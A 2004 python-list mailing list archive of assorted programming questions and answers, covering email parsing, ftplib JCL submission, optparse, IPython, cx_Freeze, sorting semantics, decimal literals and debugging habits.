From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Sat, 11 Sep 2004 18:21:59 +0200 Subject: Mail extraction problem (something's wrong with split methods) Message-ID: Hello, I have a little problem and although it's little it's extremely difficult for me to describe it, but I'll try. I have written a program which extracts certain portions of my received e-mail. The content of the e-mail is actually predictable, it has one very long list of numbers, something looking like this: [34234,35435,657789,6756735,12312378,09678567,23424] Of course I cannot manipulate my mail while connected to the POP3 server, so I decided to transfer mail locally and write it to a file and then manipulate it. Another problem is that in e-mails there is lot of output, garbage characters and all sorts of nasty things, but somehow, I managed to solve it (to download e-mail and extract interesting parts), and here is how (i'll only show the "interesting parts" part): temp = [mail.read()] enc_txt = "\n".join(temp) begin = enc_txt.find(", '[")+len(", '[") ending = enc_txt.find("]', ") enc_txt2 = (enc_txt[begin:ending]) mail.close() lines = enc_txt2.splitlines() enc_txt3 = ' '.join([line.strip() for line in lines]) split = re.split(",", enc_txt3) enc = [int(elem) for elem in split] enc = map(int, split) And this code works! But, there is a problem! When the list of numbers is longer than 350 bytes, on the 350'th place I don't get a number, but I get some quotes and commas and strange things. When the list is longer than 700 bytes, this problem occurs twice (actually it does not occur because interpretor complains, but there are two mistakes of this type). Is there a thing I'm missing, can split methods handle more than 350 bytes of splitting text? What's actually happening. To make it more clear (because I think you will not understand it completely) i could upload errors, but it's large, so I'll minimize the log. [6964, 7086, 3211, 7522, 9472, 3265, 3610, 104, 9729, 6706, 8035, 5439, 7142, 360, 677, 1667, 1382, 9417, 4493, 8289, 9613, 3470, 889, 1021, 3381, 3480, 2483, 6579, 8928, 3240, 4437, 5908, 2290, 9587, 866, 202, 859, 2184, 8328, ..........] - the list of numbers 705 bytes long. When I run the program (with command print split inside my code, to see what's going on): ['6964', ' 7086', ' 3211', ' 7522', ' 9472', ' 3265', ' 3610', ' 104', ' 9729', ' 6706', ' 8035', ' 5439', ' 7142', ' 360', ' 677', ' 1667', ' 1382', ' 9417', ' 4493', ' 8289', ' 9613', ' 3470', ' 889', ' 1021', ' 3381', ' 3480', ' 2483', ' 6579', ' 8928', ' 3240', ' 4437', ' 5908', ' 2290', ' 9587', ' 866', ' 202', ' 859', ' 2184', ' 8328', ..... " 6730'", " '", ' 6793'...... , " '", " '6573", ' 869'...] File "OTPAenc_dec.py", line 258, in decr enc = [int(elem) for elem in split] ValueError: invalid literal for int(): 6730' Please help me, any help will be appreciated. Thanks in advance. Sorry for my bad English and my bad expression style, I really don't know how to explain it more throughly. From programmer.py at gmail.com Mon Sep 13 08:51:58 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Mon, 13 Sep 2004 07:51:58 -0500 Subject: launching JCL on MVS In-Reply-To: <1095065818.428799@ftpgate> References: <1095065818.428799@ftpgate> Message-ID: Disclaimer - I've never used ftplib, so the code below hasn't actually been tested.. First, create some JCL. For this example assume it is test.jcl and it is in the CWD. # Connect to the server >>> from ftplib import FTP >>> ftp = FTP("hostname") # connect to host, default port >>> ftp.login("username", "password") # Tell the server you're about to send it some JCL to execute >>> ftp.voidcmd( "quote site file=JES" ) # Upload the JCL >>> print ftp.storlines( "STOR", file("test.jcl") ) The last command ought to print ought the Job ID (and a few other things). Good luck and let me know if that works for you. Also, some of those methods will raise exceptions if something goes wrong. Check out ftplib.py for good documentation. jw On Mon, 13 Sep 2004 10:56:57 +0200, Chris wrote: > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST (OS390) ? > > -- > http://mail.python.org/mailman/listinfo/python-list > From carribeiro at gmail.com Tue Sep 21 14:35:47 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 15:35:47 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: Message-ID: <864d3709040921113533bb3d8b@mail.gmail.com> ----- Original Message ----- From: Batista, Facundo > You could also do that passing a function to sort(). I know it, and that's exactly my question -- if this is going to be the way to do it in Python 3000. Today (2.4) there are FOUR ways to make it work: passing a compare function as an argument to sort(), passing a key funciton as an argument to sort(), implementing a __cmp__ function, or implementing the rich comparison methods. If the main goal of Py3K is to have only one obvious way to do it, what one is it going to be? I think that the best way should be the simplest one: make sort() work whatever is passed to it in a reasonably way, and decide to have one preferred way to extend its behavior. > Define "reasonable result" with different datatypes. Now that's a harder question :-) Any ordering for multiple types is going to be arbitrary -- but it still may be considered reasonable if it reflects our common sense when it comes to ordering. In some cases, it's still a matter of choice, but once decided, it's deterministic, and that's what it takes for sorting. -- http://mail.python.org/mailman/listinfo/python-list -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From indigo at bitglue.com Tue Sep 14 13:43:36 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 14 Sep 2004 13:43:36 -0400 Subject: up with PyGUI! In-Reply-To: References: Message-ID: <20040914174336.GA14263@unununium.org> I don't know exactly what was used, but I have used dia to make such things before. On Tue, Sep 14, 2004 at 02:24:02PM -0300, Jorge Godoy wrote: > [...] > > BTW, I got really interested on the tool used to draw the diagrams on > this page: > http://www.cosc.canterbury.ac.nz/~greg/python_gui/version/Doc/ownership.html From carribeiro at gmail.com Fri Sep 10 19:13:01 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 10 Sep 2004 20:13:01 -0300 Subject: making windows apps In-Reply-To: References: Message-ID: <864d370904091016132426148c@mail.gmail.com> On Fri, 10 Sep 2004 07:52:55 -0700, Zach Shutters wrote: > I am new to python and working my way through the van Rossum tutorial. I > am cursios though about if you can program windows with python? I know I > shouldn't worry about this right now but I am curious. If so, is there any > recommended tutorials on this. I know I can search google but i figured I > would see what some people who know the language well would recommend. Python can be used to write graphical native applications for both Windows and Linux. In any case, you need to choose first what windowing library (or toolkit) you're going to use. If you are used to the Windows way of doing things, relax -- the only difference is that if you use MS tools, you have no choice but to use the toolkit that Microsoft provides (so you never knew that it was possible to have a choice), but now you have a few options. The main windowing libraries available for use with Python are: -- Tk -- wxPython -- Qt I suggest that you take look at wxPython (at www.wxpython.org). It's cross platform, which means that an app written using it will run without changes in Linux and Windows systems while keeping the same look and feel. Tk is easy to use, and well supported in Python, but I prefere wxPython (that's a personal opinion, and your mileage may vary). As for Qt, the library is excellent, but the it's only available under a commercial license for Windows. The next step is to choose a programming environment. Again, if you are used to VB or Delphi, you never knew that you had a choice here, because these tools pack everything -- the language, the supporting libraries, the windowing libraries, and the programming environment into a single package. It would really be nice to have such a pack for Python (and in fact, there are a some good, but high-priced commercial options available; for example, BlackAdder or Wingz); however, if you're using only free tools, then the selection is relatively limited, but still useful enough for most needs. If you took my advice and selected wxPython, the two best choices for the IDE are Boa Constructor and PythonCard. The former is a very advanced IDE, but it's still in development. PythonCard is simpler and a little bit easier to use, but it's also not released yet -- only the development version is available. > One last thing, in order for a program I write in python to run on > someones computer, they have to have the python interpreter installed? And > if so, wouldn't most people not have it installed since they wouldn't be > programming in it. I know this is probably an uber nube question, but that's > what I am right now. Hopefully no one will get pissed off and give some > smart ass comment about how stupid my question is (sorry but most of the > time thats what I get when I post in a newsgroup lol) There are easy ways to pack everything that is needed to distribute any type of Python program into a single installer. I don't have the pointers here but I've done it before and it's a snap. It works for any type of app, including Windows apps; the installation kit generates a single exe file for easy distribution. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Wed Sep 8 13:23:40 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 8 Sep 2004 14:23:40 -0300 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com> References: <864d370904090413356356d84d@mail.gmail.com> <1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com> <1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com> <1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com> Message-ID: <864d3709040908102310d4d45@mail.gmail.com> Alex, This discussion went so far as to entice a lot of different interpretations. You're completely right about the inherent contradiction in interpreting list() as both a typecast *and* an imperative verb. And it doesn't help to note that neither interpretation does full justice to what list() does in Python. Also, as I only write in english when communicating by email, there are times when I fail to find the words for what I want to express. So I knew that there was something different about the word "sum" in the context given but could not explain it -- and you're again right, it's a case where verb and noun share the same spelling. As for the current documentation, I have one specific suggestion that may improve things a little bit. In the current version of the Python documentation, list() is classified a *builtin function*. Calling list() the *list constructor* would probably help to distinguish it from other functions such as abs(), for example. My proposal is to create a new category in the documentation for all *builtin constructors*: bool(), complex(), dict(), float(), int(), list(), object(), str(), tuple() All built-in constructors share common behavior -- they return a new object of the given type, using the argument as an initializer. Reading about how constructors work in general will help one to develop a broader, and better, understanding of their real power. *** BTW, once you consider these functions as constructors, and considering current int(), float() and str()'s behavior, it may be worth investigating a way to generalize constructors using an extensible protocol, using a __my-class-name__ magic function. So I went to check it using -- guess what? __list__. And I found a previous thread, dated January 2002, including a few messages from you: http://mail.python.org/pipermail/python-list/2002-January/080191.html (original message) http://mail.python.org/pipermail/python-list/2002-January/080212.html (yout first reply) I agree that the iterator interface is a good solution for the list problem, but don't you think that in the long run an standard interface for generic conversion between different classes would make sense? For example, list() could try __list__() first; if it doesn't exist, then the current iterator interface would be used. For all other types -- including dicts -- the new standard interface could be useful. What do you think? Is it worth the entire PEP-fight process? *** A (possibly useful) side effect of the proposed mechanism is the automatic __dict__ conversion without the need even to introduce magic names to newbies. For example, the following snippet of code would generate a dict from a module: >>> import string >>> d = dict(string) >>> d.keys() ... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From gaool at caramail.com Wed Sep 15 07:09:06 2004 From: gaool at caramail.com (gaool at caramail.com) Date: Wed, 15 Sep 2004 11:09:06 GMT Subject: Problem with Python on SunOS system. Message-ID: <1095246546001726@lycos-europe.com> An HTML attachment was scrubbed... URL: From fperez528 at yahoo.com Sun Sep 26 17:36:59 2004 From: fperez528 at yahoo.com (Fernando Perez) Date: Sun, 26 Sep 2004 15:36:59 -0600 Subject: theme of the week: tools References: <41542230.3070808@bellsouth.net> Message-ID: Jeremy Jones wrote: > Another tool that I use that I just started using but I'm finding > indispensable is IPython. Features: :) I'm glad you like it, though. > * tab completion - this is probably the hugest benefit. > * executes (some? all?) OS commands without having the exit out - > tab completion works on filesystem paths here The @rehash magic command will load _all_ of your $PATH as aliases, by default only the most common things are loaded. You can just type alias to see what's active. Note that the pysh profile (ipython -p pysh) preloads your whole path, and adds a few more modifications, so you can use ipython as a system shell, but with python syntax (and full two-way communication of variables). Here's an example: fperez at maqroll[~/test]|8> $$files=ls fperez at maqroll[~/test]|9> type(files) <9> fperez at maqroll[~/test]|10> len files -------------------------> len(files) <10> 33 fperez at maqroll[~/test]|11> for f in files: |..> if len(f) > 10: |..> wc -l $f |..> 4 inspectbug.py 73 ramptest.py Granted, it's silly, but I don't know in the shell how I could easily say "run wc -l over all files whose name is longer than 10 characters". I can _never_ remember how to do complicated logic/looping in the shell, while I can certainly do such things trivially in python. The pysh profile puts ipython in a mode which bridges this gap. Incidentally, pysh is actually just a special configuration mode for ipython, consisting of about only 36 lines of code (the rest is regular ipython). > * probably more....but I'm still digging into this Lots more :) Best, f From ml at dynkin.com Sat Sep 18 17:15:35 2004 From: ml at dynkin.com (George Yoshida) Date: Sun, 19 Sep 2004 06:15:35 +0900 Subject: optparse question In-Reply-To: References: Message-ID: GMTaglia wrote: > Hi guys, > > I was wondering why optparse accept an option if in the command line is not > *exactly* the one present in the source code....may be an example will > explain better.... > > #!/usr/bin/env python > > import optparse as opt > > parser = opt.OptionParser() > parser.add_option("-f", "--filein", dest="fileinput", help="filename to > read", metavar="FILE") > (options, args) = parser.parse_args() > count = 0 > filename = open(options.fileinput, 'r') > for lines in filename.xreadlines(): > count += 1 > print count > > if you run this dumb example in this way: > > liquid at jupiter liquid $ ./testi.py --fil elenco_tm.txt > 367 > > it goes on, but the option must be --filein not --fil > > Is true that if you have another option like > > parser.add_option("-f", "--fileout", dest="fileoutput", help="filename to > write", metavar="FILE") > > the program will stop raising a conflict option, but why accept only the > beginning of the long option instead of the exact one? I encountered the same question, looked at the source and found the answer. Quote from the document of getopt module: http://docs.python.org/lib/module-getopt.html Long options on the command line can be recognized so long as they provide a prefix of the option name that matches exactly one of the accepted options. For example, it long_options is ['foo', 'frob'], the option --fo will match as --foo, but --f will not match uniquely, so GetoptError will be raised. optparse is same as getopt in this respect. George From db3l at fitlinxx.com Thu Sep 2 09:48:39 2004 From: db3l at fitlinxx.com (David Bolen) Date: 02 Sep 2004 09:48:39 -0400 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: "Dan Perl" writes: > That is exactly what I'm trying to do, and in the initial posting of the > thread I was mentioning an initialization exactly like yours, but at the > same time I was pointing out that an initialization like that works only for > immutable attributes and not for mutable attributes, hence the need for the > __init__. Or doing it in __new__ as I showed in the new code. Oh (glancing around with an embarrassed look) - you mean the behavior that's the topic of this thread (generally easily determined by reading the subject line to which one is replying)... :-) -- David From indigo at bitglue.com Mon Sep 27 14:11:21 2004 From: indigo at bitglue.com (Phil Frost) Date: Mon, 27 Sep 2004 14:11:21 -0400 Subject: Catching Exceptions. In-Reply-To: References: Message-ID: <20040927181121.GA5218@unununium.org> As mentioned by others, it is advisable in most cases to catch specific exceptions. However there are times when catching *all* exceptions is desirable. In these cases it's also pretty important that even string exceptions or classes that do not inherit from Exception are caught. For example, in a web server, any exception should terminate the request with error, not destroy the server process. In these cases, sys.exc_info() provides the missing information. Also you may find the traceback module to be of use. On Mon, Sep 27, 2004 at 08:44:52AM -0700, Keith Bolton wrote: > I am handling exceptions currently using try, except. Generally I don't > handle specific exceptions and am catching all. > Then if an exception occurs, I would like to capture that error string. > However, in the documentation it seems like > there is not a way to get the extra str data if you are handling all > exceptions and not specifically. Is there? > > thanks > > -keith From rogerb at rogerbinns.com Sun Sep 19 02:24:34 2004 From: rogerb at rogerbinns.com (Roger Binns) Date: Sat, 18 Sep 2004 23:24:34 -0700 Subject: $LD_LIBRARY_PATH, cx_Freeze and wxPython References: <1095571462.551292.150660@k26g2000oda.googlegroups.com> Message-ID: <9klv12-66q.ln1@home.rogerbinns.com> [BTW you are far better off discussing this on the cx-Freeze mailing lists] > I guess I could write a shell script to find the program directory, > set it as the LD_LIBRARY_PATH and then run the program, but that seems > horribly hacky. That is what you have to do with wxPython libraries (and for good and complicated reasons). However cx-Freeze includes a stub that does it for you. Look again at the wiki page you quoted: http://wiki.wxpython.org/index.cgi/CreatingStandaloneExecutables ConsoleSetLibPathBase sets the LD_LIBRARY_PATH for you. For cx-Freeze 3, the same named initscript does it. Roger (also the author of the cx-Freeze bit on that wiki page) From secun at yahoo.com Wed Sep 15 09:00:02 2004 From: secun at yahoo.com (ChrisH) Date: Wed, 15 Sep 2004 13:00:02 GMT Subject: Communication between remote scripts References: Message-ID: > In fact, given a certain interpretation of the description (remote > monitoring of a running process) it might well be possible to do > the whole thing in WMI. I have certainly had scripts running on my > machine to monitor the progress of processes on several of the servers > here. Depends what's needed exactly Fantastic! I think, in this case, that would do the trick. I have the following code that will monitor a process on a local machine. Can you give me an example of how to monitor a process on a remote computer? Thanks, Chris while (appRun == "1"): #print "Waiting %d seconds for app to close" % i rc = win32event.WaitForMultipleObjects( handles, # Objects to wait for. 1, # Wait for them all 1000) # timeout in milli-seconds. if rc == win32event.WAIT_OBJECT_0: # Our processes closed! print "Process stopped." appRun = "0" else: print "running" time.sleep(5) From aahz at pythoncraft.com Fri Sep 10 20:22:47 2004 From: aahz at pythoncraft.com (Aahz) Date: 10 Sep 2004 20:22:47 -0400 Subject: What's the Pythonic way to do this? References: Message-ID: In article , Peter Hansen wrote: >Doug Rosser wrote: >> class Cycle(object): >> >> def __init__(self, inputList): >> object.__init__(self) >> self.index = 0 >> self.limit = len(inputList) >> self.list = inputList >> >> def next(self): >> """ >> returns the next element of self.list, jumping >> back to the head of the list if needed. >> Yes, this is an infinite loop. (Use with caution) >> Arguments: >> none >> Returns: >> the next element of self.list >> """ >> if self.index+1 < self.limit: >> self.index+=1 >> return self.list[self.index-1] >> else: >> self.index=0 >> return self.list[self.limit-1] > >I think this is spelled like this now: > >import itertools >mycycle = itertools.cycle(inputList) That doesn't appear to work if self.list gets mutated. Then again, the OP's version doesn't work, either. I'd use a linked list myself. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From adalke at mindspring.com Fri Sep 3 05:01:32 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 03 Sep 2004 09:01:32 GMT Subject: initializing mutable class attributes In-Reply-To: <1gjj6zv.rb87lcaize9sN%aleaxit@yahoo.com> References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> <1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com> <1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com> <1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com> <1gjj6zv.rb87lcaize9sN%aleaxit@yahoo.com> Message-ID: Alex: > #include "Base.h" > > int foo = 23; > class Derived: public Base { > public: > Derived() { foo = 45; } > }; > > Is this code correct? Sure, it compiles and runs perfectly using Base > version 12.3. Then Base comes out with version 12.4 and this does not > compile any more. Why? Because the new version of Base has added a > private member named foo. My C++ skills are rusty and old. I had to experiment with this to understand what was going on. I had thought that private: kept the above from happening. Now I know better. I was wondering though about the justification of "is this code correct" using "compiles and runs perfectly" under a given circumstance. That justification has been applied to many incorrect pieces of code, including #define SQUARE(x) ((x)*(x)) only to be proven wrong in the real world. Part of learning the language is learning about these gotchas and acquiring the skills needed to do it correctly. The problem in your example is that variable lookup occurs first in class then in static scopes. I can tell the compiler to only use static scope, as in Derived() { ::foo = 45; } Based on my creaky memories, this shouldn't have the same problems. Does it have others? And is this this proper and accepted solution, meaning that I should always write an explicit static scope when I want to ensure I don't accidently conflict with future changes to the base class? Andrew dalke at dalkescientific.com P.S. Congratulations to the both of you! P.P.S. Is the modern implementation of that DOUBLE macro something like inline template T& DOUBLE(const T& x) { return T*T; } ? I don't think so since it doesn't do coercion the same way. Consider float f = .... ; double x = SQUARE(f); The f*f gets promoted to double. The macro version assigns the double to a double so keeps the precision. OTOH, the template version narrows the double to a float (for the return value) then widens that float back to a double, hence loosing precision in the process. From roy at panix.com Tue Sep 21 15:31:03 2004 From: roy at panix.com (Roy Smith) Date: Tue, 21 Sep 2004 15:31:03 -0400 Subject: list.pop and print doing funny things References: <000701c4a00a$576042e0$fd56e640@amd950> Message-ID: Tim Peters wrote: > does not return a non-None result. Is that another way of saying, "returns None"? From eurleif at ecritters.biz Tue Sep 14 21:07:48 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 14 Sep 2004 21:07:48 -0400 Subject: How should a drawing program render? Message-ID: <2qpin5F12h2snU1@uni-berlin.de> I'm considering writing a fairly basic vector drawing program using PyGTK. What's the best way to render it? What I'm thinking of is having everything render on a PIL image, then display that in the GTK window or save it depending on what's being done. Is that the best strategy? Will it be fast enough? From boris.genc at REMOVE_mindless_ME.com Mon Sep 6 09:01:15 2004 From: boris.genc at REMOVE_mindless_ME.com (Boris Genc) Date: Mon, 06 Sep 2004 15:01:15 +0200 Subject: Secure delete with python Message-ID: Hi everybody. I was wandering is there a method or a function already implemented in python that supports secure deletion of data? I'm interested in something which is able to securely wipe data (from single file to bunch of MB's), and that should run both on Linux and Windows. I tried on google, but I hadn't found anything useful to me. Thank you very much in advance. Boris Genc From adalke at mindspring.com Sat Sep 25 14:30:36 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 25 Sep 2004 18:30:36 GMT Subject: Why not FP for Money? In-Reply-To: References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Message-ID: Carlos Ribeiro wrote: > Why not? It may be a good idea for Py3k -- instead of raw strings, why > not regular expressions strings? When Python was firse released it used the regex module for regular expressions. These were not thread safe at all (the match result was attached to the pattern object) and used an old style of pattern definition while perl's regexp syntax basically dominated common usage. (I still find it hard to believe Perl6 is going to use a new syntax.) Python adapted by having a new module, 're', to handle the new syntax. It was based on the pcre C library. Old code worked with regex, new with re. Then /F worked on a replacement for pcre called 'sre'. In part for unicode support. I've also seen Python bindings for a POSIX compliant regular expression library. If regular expression strings were cooked into the Python language then we wouldn't have this ability to change to meet the changing definitions and requirements for regexps while also supporting backwards compatibility. > What is the 'value' of a RE literal? If it's taken to be the RE > itself (in it's compiled form), I can't see much practical use for > expressions involving literals - even concatenation (ex: re1 + re2) > has nasty side effects in the general case; it's better to concat the > original RE strings and recompile the RE anyway. Interestingly enough I happen to have a regexp engine I wrote which allows addition on evaluated patterns. It works by merging the parse trees. >>> from Martel import Re >>> word = Re("(\w+)") >>> spaces = Re("\s+") >>> pat = word + spaces + word + spaces + word >>> print pat ([\dA-Z_a-z]+)[\t-\r ]+([\dA-Z_a-z]+)[\t-\r ]+([\dA-Z_a-z]+) >>> word It's very useful for building large patterns because (?P(?PAC (?P(?P[\dA-Z_a-z]+))\;( (?P(?P[\dA-Z_a-z]+))\;)*(\n|\r\n?))+) is harder to write by hand than AC = Group("AC", Str("AC ") + Std.dbid(Martel.Word("ac_number"), {"type": "accession", "dbname": "sp"}) + \ Str(";") + Rep(Martel.Str(" ") + Std.dbid(Martel.Word("ac_number"), {"type": "accession"}) + Str(";")) + Martel.AnyEol()) AC_block = Group("AC_block", Martel.Rep1(AC)) (Even with MULTILINE, re.compile doesn't tell you the character position of the syntax error as well as Python does, nor does my editor help me out.) > Because (in my opinion) a decimal point literal is in the same general > class as the objects you've mentioned. So are rationals. And more esoterically, so are polynomials. I'm also biased the other way in that I don't think I'll be using decimal all that often. The only case that comes to mind is one data field a few years back that stored X-ray resolution and where "2.0" and "2.00" were different because the latter meant there was higher precision. I'm not sure though if keeping that as a Decimal literal would work right. > Because the call-style syntax requires the use of a string as an > argument to avoid practical and phylosophical problems involving the > conversion of binary floats to decimal floats, and the string looks > out of place in numeric expressions. That argument makes much more sense to me than saying that using 'd' is a compromise to having no way to write it as a literal. > Because, in the prompt, having a easy way to write numeric literals of > any kind is important to allow seamless interactive use -- be it as > powerful calculator, or to prototype small functions, or to test > concepts. That to me just isn't a good argument. I use regular expressions a lot. Having a regexp literal would also simplify interactive use. I wouldn't have to 'import re' and use 're.compile'. Unless you are arguing for a large increase in the number of syntatic literals in Python, my problem with this argument is that it doesn't recognize the tension I mentioned previously. It doesn't say when it shouldn't be used. > It's strange, because complex numbers are much more of a special case > than decimals. Decimals have a single value, complex numbers are a > tuple; decimals are orderable; but complex made it to the language. It > was another time, and I don't know how many people rely on Python > complex numbers, but I bet that decimals have the potential to become > more important in the long run. Complex is rarely used, I agree. I just read through the original discussion on adding complex to Python. The thread was titled "Should I add complex numbers to the Python code?" starting Dec. 10, 1995. It reminded me that there is no complex literal in Python, only an imaginary literal, which creates a complex instance with 0.0 as the real component. The basic arguments from Guido, summarized by /F - It adds 10-20k to the interpreter. + It's useful in many existing applications. + Many other languages have similar constructs. + It does not conflict with any existing code. At that time Python's audience was much more limited and nearly all of the responses were along the lines of (quoting James C. Ahlstrom) "However, many of us are engineers or retread physicists, so we _like_ complex numbers. Here's a statement from Chris Hoffmann using an argument very much along your lines: > To me, complex numbers are not some special case object. > They are a fundamental numeric type, just like integers > and reals. Most languages don't have them builtin (or > even a convenient way to add them as an extension), but > some do. In those that do have them builtin, I'd argue > that a fair percentage of the users of those languages > take advantage of them. Offhand, I don't know of any > general purpose language that has date-time types or > coordinate types, as useful as they might be. Python's audience has changed a bit since then. There were some non-math people then. Their comments went something like Greg Stein: > something like complex number handling seems to me > to be much more of an optional-type feature rather > than a core feature. Mark Lutz > They're obviously useful to others. > > What's 20K among friends?, Others argued against it because: Barry Merriman > Becasue the base object of these domains are not part > of the python core---i.e. python does not have core > objects for polynomials, fourier transforms, most > special functions---it does not seem reasonable that > the numerical basis that exisits essentially only for > these specialized domains, complex numbers, must be > integrated into the core. There was one or two people who wanted an alternate notation, like David Redish > Define the constant i = sqrt(-1 + 0i) in the module complex. .. > import complex > i = complex.i > > x = 2 + 4*i > > Both of these seem to be much more in the spirit of python, > then changing the core language. That was shot down because 'i' as a standalone variable is used too often as an index. Michael McLay wanted to > ... settle for second class with the option for an > upgrade to first class on some future flight:-) by using "complex(2.0,3.0)" As you have seen, I'm with Michael McLay in my viewpoint. Why wasn't it done? Guido posted saying that he had decided that if complex was added to the Python code then he had already decided to use the "x+yj" - style syntax (possibly with an "i" instead of "j") An interesting point, made by Paul Dubois, is that > Expressions like those shown never occur in real > life. In fact, complex literals are RARE. Usually > complex numbers occur as the output of a function, > and usually in arrays (often, BIG arrays). So in > fact this issue is not very important. Is the same true for decimal? BTW, at this time I was a ready of c.l.py but not an active user. I didn't post to the thread. I wanted complex because, well, I am a "retread physicist." But I've never actually used complex for any of my Python work and suspect that I wouldn't have a problem using (say) cmath.complex(1.12, 2.9) instead if I did. Andrew dalke at dalkescientific.com From martin.vonloewis at hpi.uni-potsdam.de Fri Sep 3 10:15:13 2004 From: martin.vonloewis at hpi.uni-potsdam.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 03 Sep 2004 16:15:13 +0200 Subject: Encoding problems In-Reply-To: References: <41378609$0$24820$9b622d9e@news.freenet.de> Message-ID: Gandalf schrieb: > However, the input (the result of raw_input) will be in the correct > encoding (iso-8859-2 in my case) without any conversion. > I do not understand why is that? The stdin encoding is cp852, not > iso-8859-2. Why do you say that the input will be in the correct encoding? In your original message, you said that you got this: 'n\xe9z' 'n\x82z' where the first string was repr(s1) (i.e. in the source encoding, iso-8859-2). The second string (repr(s2)) is the one that you got from raw_input, so it is *not* in iso-8859-2. Why do you say it is? Regards, Martin From martin at v.loewis.de Fri Sep 3 03:35:51 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 03 Sep 2004 09:35:51 +0200 Subject: compiling to python byte codes In-Reply-To: <4137e739$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> Message-ID: <41381ed3$0$158$9b622d9e@news.freenet.de> Maurice LING wrote: >> Hmmm, could you post an example of this assembly-like code? It might be >> easiest to implement a Python interpreter directly; if the assembly-like >> code is simple enough it isn't even worth a true parser. > > > What do you mean by implementing a Python interpreter directly? Sorry, I > am unable to provide an example of this assembly-like code. This is > currently still unpublished work, so I'm not able to disclose much, > especially in a public forum. He didn't mean to suggest that that you write an interpreter *of* Python, but an interpreter *of* your language *in* Python. Instead of compiling your intermediate language into Python bytecode, directly implement the VM (if you prefer that term over "interpreter") for MA in Python. Regards, Martin From M.Waack at gmx.de Tue Sep 21 17:40:36 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Tue, 21 Sep 2004 23:40:36 +0200 Subject: parameter passing question References: Message-ID: Micah wrote: > Python gurus: It can't be a guru question just because I know the answer;) > So, what I'm trying to do is call f(args[0], args[1]). However, I > want to > be able to do it with any length argument list. Given any function > f and a list of arguments args, I want to be able to call > f(args[0], args[1], ..., args[n]) If args is a list: >>> def c(f, args): ... return f(*args) So you can call for instance: c(max,[1,2,3,4]) Or a function with an arbitrary number of arguments: >>> def c(f,*args): ... return f(*args) So you can call it as c(max,1,2,3,4,5) Mathias From zanesdad at bellsouth.net Wed Sep 22 14:25:45 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 22 Sep 2004 14:25:45 -0400 Subject: Divisions of labor In-Reply-To: References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> <4tg822-bmd.ln1@lairds.us> <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com> Message-ID: <4151C3A9.6050505@bellsouth.net> Cameron Laird wrote: >In article <1gkiywn.1ydvxr62u3q0dN%aleaxit at yahoo.com>, >Alex Martelli wrote: > . > [much that deserves comment] > . > . > > >>This is a reflection I had as a consequence of this episode. But if I >>meet about two "super-horrible bugs" a year, and a perfect debugger >>would save me 3 days or so in each case, I need to find one that I can >>learn to use with perfect skill in less than 6 days, and keep >>well-trained on at no cost. Half the incantations that WingIDE guru was >>incanting were completely lost on me and the other guy helping us out in >>that debugging -- if I took a week to learn it, and then didn't have any >>need for it for months, I'd have to relearn it again 7 months later... >>not a net win. >> >>I was highly skilled back when I had to use MS Visual Studio to develop >>and debug C++ code -- but it's the kind of skill my brain expunges as >>fast as it possibly can, as soon as it becomes unused (as opposed to, >>say, weird interesting facts about languages and libraries I may not >>have used for years -- THOSE, for me, tend to stay around somewhere in >>my brain!-) >> >> > . > . > . >I made almost exactly the same calculation, and certainly >came to the same conclusion. > >This still leaves open the question of precisely what the >alternative is--to have eager debugger-savvy friends? I >think there's more to it. 